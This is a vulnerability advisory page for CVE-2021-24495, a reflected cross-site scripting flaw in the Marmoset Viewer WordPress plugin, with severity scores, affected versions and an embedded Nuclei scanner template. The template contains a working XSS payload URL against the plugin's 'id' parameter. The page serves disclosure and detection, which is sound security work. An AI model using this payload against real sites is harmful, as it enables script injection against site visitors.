CVE-2021-24495
published 2021-08-09CVE-2021-24495: The Marmoset Viewer WordPress plugin before 1.9.3 does not property sanitize, validate or escape the 'id' parameter before outputting back in the page, leading…
PriorityP336medium6.1CVSS 3.1
AVNACLPRNUIRSCCLILAN
EXPLOIT
EPSS
2.90%
85.2th percentile
The Marmoset Viewer WordPress plugin before 1.9.3 does not property sanitize, validate or escape the 'id' parameter before outputting back in the page, leading to a reflected Cross-Site Scripting issue.
Affected
1 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| marmoset | marmoset_viewer | < 1.9.3 | 1.9.3 |
CVSS provenance
nvdv3.16.1MEDIUMCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
nvdv2.04.3MEDIUMAV:N/AC:M/Au:N/C:N/I:P/A:N
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Nuclei
Wordpress Marmoset Viewer <1.9.3 - Cross-Site Scripting
nuclei·CVSS 6.1
CVE-2021-24495 [MEDIUM] Wordpress Marmoset Viewer <1.9.3 - Cross-Site Scripting
Wordpress Marmoset Viewer "
- "{{BaseURL}}/wp-content/plugins/marmoset-viewer/mviewer.php?id=1+http://a.com%27);alert(/{{randstr}}/);marmoset.embed(%27a"
matchers-condition: and
matchers:
- type: word
part: body
words:
-
- alert(/{{randstr}}/)
condition: or
- type: word
words:
- Marmoset Viewer
- type: word
part: header
words:
- text/html
- type: status
status:
- 200
# digest: 4b0a00483046022100df06035b1d40e8a072bc98615cc83a511befad37dbfc81ae25231534b91bcd2c0221009d187492b83026059d2aaa325a8d24eaa1159f989dbd024d66ec441fed7e6fc1:922c64590222798bb761d5b6d8e72950
https://johnjhacking.com/blog/cve-2021-24495-improper-neutralization-of-input-during-web-page-generation-on-id-parameter-in-wordpress-marmoset-viewer-plugin-versions-1.9.3-leads-to-reflected-cross-site-scripting/https://wpscan.com/vulnerability/d11b79a3-f762-49ab-b7c8-3174624d7638https://johnjhacking.com/blog/cve-2021-24495-improper-neutralization-of-input-during-web-page-generation-on-id-parameter-in-wordpress-marmoset-viewer-plugin-versions-1.9.3-leads-to-reflected-cross-site-scripting/https://wpscan.com/vulnerability/d11b79a3-f762-49ab-b7c8-3174624d7638
2021-08-09
Published